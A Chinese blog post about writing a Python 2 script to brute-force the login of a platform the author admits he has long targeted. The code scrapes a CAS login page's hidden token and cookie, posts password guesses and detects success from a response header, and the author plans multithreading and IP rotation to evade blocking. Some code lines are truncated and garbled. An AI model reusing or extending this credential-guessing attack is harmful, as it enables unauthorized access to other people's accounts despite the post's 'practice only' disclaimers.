python密码爆破脚本_python小脚本爆破登录密码

说明,纯属练手,不许做坏事,出事后果自负。

这个月忙的不行,所有的事情堆在一起了。毕业设计论文、答辩、创新项目结题、实验室项目……在这个月的最后一天还是写一点东西纪念下这个忙碌的五月吧。有那么半个月一直在思考人为什么要活着以及人应该怎么样活着的问题,整个人状态都有点抽风。废话不多说,心态问题只能靠自己慢慢走出来了,进入正题。

昨天看了下天哥的一篇日志,关于模拟登录的。于是一时手痒开始做起了一件一直想做但没有做的事情,爆破某平台的登录密码(虎视眈眈这个站很久了)。之前用burpsuite进行爆破的时候 疏忽了一个input(登录页面的一个input每次刷新页面是随机给的,hidden所以没发现),所以再战了。

再次说明,纯属练手,不许做坏事,出事后果自负。

于是用firebug抓了两次包,一次成功的一次失败的,对比了下两个post包,发现response部分响应头信息不一样,那任务就变得简单了。

我们的需求是根据报文返回的信息来判断密码是否正确,我用的python搞的这件事,之前发了几次包失败了,后来查询下来是http的包头构造的不对,隐藏的input也是每次都刷新的。结果想用selenium搞,又觉得太low了,有取巧的嫌疑。于是还是一心钻研发包,最终终于成功了。大概的流程就是:第一次登陆 获取hidden的input字段值和cookie,然后拿着这两个东东发post请求,根据返回的报文响应头信息来判断密码是否正确。代码如下:

# coding:utf8

import urllib

import urllib2

import time

__author__ = "Snake"

# Python大法好 入教保平安

# _ooOoo_

# o8888888o

# 88" . "88

# (| °_° |)

# O\ = /O

# ____/`---'\____

# .' \\| |// `.

# / \\||| : |||// \

# / _||||| -:- |||||- \

# | | \\\ - /// | |

# | \_| ''\---/'' | |

# \ .-\__ `-` ___/-. /

# ___`. .' /--.--\ `. . __

# ."" '< `.___\__/___.' >'"".

# | | : `- \`.;`\ _ /`;.`/ - ` : | |

# \ \ `-. \_ __\ /__ _/ .-` / /

# ======`-.____`-.___\_____/___.-`____.-'======

# `=---='

# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

# 佛祖保佑 永无BUG

# 练手项目 锻炼技巧 不要做坏事 出事与本人无关

def password_blasting(username, password):

# GET方式访问首页

loginurl = ''

req = urllib2.Request(loginurl)

res_data = urllib2.urlopen(req)

res = res_data.readline()

lt = None

while (res):

res = res_data.readline()

if "

# print res

lt = res.replace(" ", "")

lt = lt.replace("

lt = lt.replace("\"/>", "")

lt = lt.strip()

# print "LT:"+lt

cookie = res_data.info().getheader('Set-Cookie')

# print "COOKIE:"+cookie

params = urllib.urlencode({'encodedService': '',

'service': "",

'serviceName': "",

'username': username,

'password': password,

'lt': lt

})

# 第二次用post请求登录 构造Header附带Cookie

postuUrl = ''

req = urllib2.Request(postuUrl, params)

req.add_header('Accept', '')

req.add_header('Accept-Encoding', '')

req.add_header('Accept-Language', '')

req.add_header('Connection', '')

req.add_header('Cookie', cookie)

req.add_header('Host', '')

req.add_header('Referer','')

req.add_header('User-Agent', '')

resp = urllib2.urlopen(req)

respInfo = resp.info()

# print respInfo

if (respInfo.getheader('CAS-Service') != None):

print "Success----" + "Username:" + str(username) + " Password:" + str(password)

相关的header信息和post信息处于安全考虑就没贴到代码里,主要提供思路。后期优化下 比如如何提高速度,多线程还有如何做ip轮回换等问题要解决~

——Snake

作者: snake

我们需要为这个社会做一点贡献,失去了才懂得去珍惜。查看snake的所有文章

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值